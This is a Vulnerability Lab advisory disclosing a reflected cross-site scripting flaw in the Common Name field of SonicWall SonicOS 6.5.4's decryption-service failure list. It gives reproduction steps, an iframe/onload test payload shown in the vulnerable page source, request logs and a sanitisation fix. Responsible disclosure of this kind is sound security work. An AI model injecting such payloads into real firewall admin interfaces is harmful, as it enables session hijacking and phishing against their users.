# Exploit Title: Sonicwall SonicOS 6.5.4 - 'Common Name' Cross-Site Scripting (XSS)
# Date: 2021-10-18
# Exploit Author: Vulnerability Lab
# Vendor Homepage: https://www.sonicguard.com/NSV-800.asp
# Version: 6.5.4

Document Title:
===============
Sonicwall SonicOS 6.5.4 - Cross Site Scripting Web Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2272


Release Date:
=============
2021-10-18


Vulnerability Laboratory ID (VL-ID):
====================================
2272


Common Vulnerability Scoring System:
====================================
5


Vulnerability Class:
====================
Cross Site Scripting - Non Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
The design, implementation and deployment of modern network architectures, such as virtualization and cloud, continue to be a game-changing
strategy for many organizations. Virtualizing the data center, migrating to the cloud, or a combination of both, demonstrates significant
operational and economic advantages. However, vulnerabilities within virtual environments are well-documented. New vulnerabilities are
discovered regularly that yield serious security implications and challenges. To ensure applications and services are delivered safely,
efficiently and in a scalable manner, while still combating threats harmful to all parts of the virtual framework including virtual
machines (VMs), application workloads and data must be among the top priorities.

(Copy of the Homepage: https://www.sonicguard.com/NSV-800.asp )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a non-persistent cross site scripting web vulnerability in the SonicWall SonicOS 6.5.4.


Affected Product(s):
====================
Model: SonicWall SonicOS
Firmware: 6.5.4.4-44v-21-1288-aa5b8b01 (6.5.4)
OS: SonicOS Enhanced


Vulnerability Disclosure Timeline:
==================================
2021-07-24: Researcher Notification & Coordination (Security Researcher)
2021-07-25: Vendor Notification (Security Department)
2021-**-**: Vendor Response/Feedback (Security Department)
2021-**-**: Vendor Fix/Patch (Service Developer Team)
2021-**-**: Security Acknowledgements (Security Department)
2021-10-18: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted Authentication (Guest Privileges)


User Interaction:
=================
Medium User Interaction


Disclosure Type:
================
Responsible Disclosure


Technical Details & Description:
================================
A client-side input validation vulnerability has been discovered in the official SonicWall SonicOS 6.5.4.
The vulnerability allows remote attackers to hijack sessionc credentials or manipulate client-side requested application content.

The vulnerability is located in the common name input field in the Decryption Service - Common Name - Show Connection Failures module.
Remote attackers with low privileged user accounts can inject own script codes to compromise session credentials. It is also possible
to build special crafted html pages with get / post method requests to hijack non-expired user account sessions. The request method to
inject is get and the attack vector is located on the client-side without being persistent.

Successful exploitation of the vulnerability allows remote attackers to hijack session credentials (non-persistent), phishing
(non-persistent), external redirect to malicious sources (non-persistent) or client-side application content manipulation.
Exploitation of the vulnerability requires low or medium user interaction or a low privileged (restricted) user account.

Module(s):
[+] Decryption Service


Vulnerable Function(s):
[+] Edit (Bearbeiten)


Vulnerable Parameter(s):
[+] Common Name


Affected Module(s):
[+] Show Connection Failures


Proof of Concept (PoC):
=======================
The client-side cross site scripting web vulnerability can be exploited by remote attackers with user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Login as restricted or privileged user to the sonicWall sonicOS 6.5.4 virtual firewall application
2. Open the Decryption Service > Common Name > Show Connection Failures
3. Click on Edit and inject a js test payload into the restricted client content
4. Pushing anywhere else outsite field will temporarily save the payload
5. The script code immediately executes in the web browsers context
5. Successful reproduce of the script code inject web vulnerability!


Vulnerable Source: Connection Failure List (getConnFailureList.json)
<div id="connFailureEntriesDiv" style="overflow-y: scroll; height: 544px;">
<table summary="" width="100%" cellspacing="0" cellpadding="4" border="0">
<tbody id="connFailureEntries"><tr><td class="listItem" width="5%"><input type="checkbox"
id="failChk4181252134" class="failChk" data-id="4181251300" data-name="sfPKI-4411CA162CD7931145552C4C87F9603D55FC.22"
data-override-name="><iframe src=evil.source onload=alert(document.domain)>" data-failure="7" onclick="onClickFailCheckbox(this);"></td>
<td class="listItem" width="15%">192.168.XX.XX</td><td class="listItem" width="15%">XX.XX.XX.XX</td>
<td class="listItem" width="30%">>"<iframe src="evil.source" onload="alert(document.domain)"></iframe></td>



--- PoC Session Logs (Cookie: SessId=F0FF65AA4C2B22B0655546584DCFAF65) ---
https://nsv800.localhost:9281/evil.source
Host: nsv800.localhost:9281
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://nsv800.localhost:9281/sslSpyConfigure.html
Cookie: temp=; SessId=F0FF65AA4C2B22B0655546584DCFAF65
Upgrade-Insecure-Requests: 1
-
GET: HTTP/1.0 200 OK
Server: SonicWALL
Content-type: text/html;charset=UTF-8
-
https://nnsv800.localhost:9281/getJsonData.json?dataSet=alertStatus&_=1625248460727
Host: nsv800.localhost:9281
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Referer: https://nsv800.localhost:9281/logo.html
Cookie: temp=; SessId=F0FF65AA4C2B22B0655546584DCFAF65
-
GET: HTTP/1.0 200 OK
Server: SonicWALL
Content-type: application/json
Accept-Ranges: bytes


Reference(s):
nsv800.localhost:9281/main.html
nsv800.localhost:9281/getJsonData.json
nsv800.localhost:9281/sslSpyConfigure.html


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the client-side reflected script code through getJsonData.json and sslSpyConfigure.
The input and output parameters needs to be sanitized to prevent script code injects.


Security Risk:
==============
The security risk of the client-side cross site web vulnerability in the sonicwall sonicos series is estimated as medium.


Credits & Authors:
==================
Vulnerability-Lab [Research Team] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com		www.vuln-lab.com				www.vulnerability-db.com
Services:   magazine.vulnerability-lab.com	paste.vulnerability-db.com 			infosec.vulnerability-db.com
Social:	    twitter.com/vuln_lab		facebook.com/VulnerabilityLab 			youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php 	vulnerability-lab.com/rss/rss_upcoming.php 	vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php 	vulnerability-lab.com/register.php  vulnerability-lab.com/list-of-bug-bounty-programs.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or
edit our material contact (admin@ or research@) to get a ask permission.

				    Copyright © 2021 | Vulnerability Laboratory - [Evolution Security GmbH]™

--
VULNERABILITY LABORATORY (VULNERABILITY LAB)
RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE
LUDWIG-ERHARD STRAßE 4
34131 KASSEL - HESSEN
DEUTSCHLAND (DE)